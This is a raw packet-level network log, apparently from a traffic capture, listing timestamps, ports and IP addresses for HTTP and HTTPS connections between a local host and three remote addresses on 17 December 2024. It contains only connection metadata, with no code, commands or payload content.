Dec 17, 2024 22:06:16.509299040 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.509341955 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.510221958 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.510272026 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.510507107 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.510554075 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.511229038 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.511276960 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:19.006679058 CET	49771	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:19.006968021 CET	49788	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:19.126401901 CET	80	49788	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:19.126494884 CET	49788	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:19.126600981 CET	80	49771	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:19.126647949 CET	49771	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:19.126712084 CET	49788	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:19.246145010 CET	80	49788	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:20.471405983 CET	80	49788	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:20.471462011 CET	49788	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:20.477549076 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:20.478187084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:20.597526073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:20.597718000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:20.597779036 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:20.597817898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:20.598237991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:20.718046904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.068561077 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:21.068607092 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:21.069022894 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:21.073187113 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:21.073201895 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:21.927773952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.927841902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.927855015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.927881002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.927881002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.927911997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.927939892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.927973986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.927989006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.927989960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.928009033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.928029060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.928230047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.928281069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.928314924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.928335905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.928352118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:21.928355932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:21.928503990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.047501087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.047548056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.047560930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.047616959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.051697969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.051748991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.051764965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.051803112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.124886036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.124943018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.125041962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.125089884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.129221916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.129277945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.129301071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.129340887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.137490988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.137510061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.137578964 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.145829916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.145975113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.146044970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.154259920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.154325008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.154376984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.162632942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.162661076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.162755013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.170928955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.171045065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.171125889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.179305077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.179416895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.179496050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.187705040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.187969923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.188036919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.195369005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.195503950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.195580006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.202714920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.202775002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.202831984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.209844112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.209954023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.210016966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.333208084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.333327055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.333451986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.335468054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.336381912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.336397886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.336476088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.340912104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.340980053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.341041088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.345546961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.345563889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.345617056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.350111008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.350208998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.350275993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.354696989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.354806900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.354887962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.355009079 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:22.355128050 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:22.356873035 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:22.356899977 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:22.357321024 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:22.359420061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.359483957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.359553099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.363939047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.364044905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.364116907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.368577003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.368685007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.368762970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.373167038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.373287916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.373361111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.377820969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.377893925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.377966881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.382489920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.382584095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.382656097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.387006998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.387149096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.387298107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.391652107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.391791105 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.391855955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.396225929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.396356106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.396415949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.400898933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.400959969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.401022911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.403520107 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:22.403557062 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:22.403633118 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:22.405539989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.405601025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.405644894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.406956911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.410209894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.410264969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.410265923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.410309076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.414767027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.414885044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.414931059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.419365883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.419528008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.419588089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.423948050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.424012899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.424077988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.424160957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.428602934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.428818941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.428889990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.433233023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.433320999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.433393955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.437748909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.437798023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.525158882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.525180101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.525238991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.526334047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.526365995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.526403904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.526403904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.530229092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.530250072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.530297995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.533303976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.533379078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.533468008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.533509016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.537318945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.537338018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.537362099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.537383080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.541183949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.541255951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.541275024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.541309118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.544929981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.544989109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.545037031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.545129061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.548543930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.548576117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.548624992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.552043915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.552114010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.552148104 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.552176952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.555586100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.555692911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.555742025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.558922052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.559025049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.559037924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.559077024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.559247017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.562247038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.562319994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.562364101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.562462091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.565546989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.565624952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.565700054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.565737963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.568842888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.568912983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.568943024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.568980932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.572077990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.572191954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.572196007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.572221994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.575355053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.575412035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.575450897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.575483084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.578701019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.578758001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.578809023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.581965923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.581985950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.582043886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.582083941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.585195065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.585244894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.585340977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.585388899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.588479042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.588612080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.588633060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.588675976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.591928005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.591955900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.591980934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.591998100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.594958067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.595005035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.595042944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.595087051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.598242044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.598300934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.598308086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.598356009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.601519108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.601571083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.601634026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.601681948 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.604813099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.604861975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.604954958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.605003119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.608114004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.608160019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.608182907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.608272076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.611373901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.611392021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.611448050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.611471891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.614676952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.614718914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.614737988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.614759922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.617894888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.617949009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.617999077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.618052959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.621165991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.621220112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.621249914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.621287107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.624416113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.624460936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.624516010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.624567032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.627746105 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.627804995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.627813101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.627911091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.630942106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.631048918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.631062031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.631110907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.634224892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.634289026 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.634362936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.634427071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.637489080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.637540102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.637557983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.637576103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.640769005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.640821934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.641110897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.641155005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.644042969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.644124985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.644162893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.644207954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.647300959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.647353888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.647583008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.647651911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.650566101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.650629044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.650645018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.650719881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.653835058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.653887033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.653950930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.653999090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.657104969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.657193899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.657241106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.717300892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.717381001 CET	49793	80	192.168.2.4	31.41.244.11
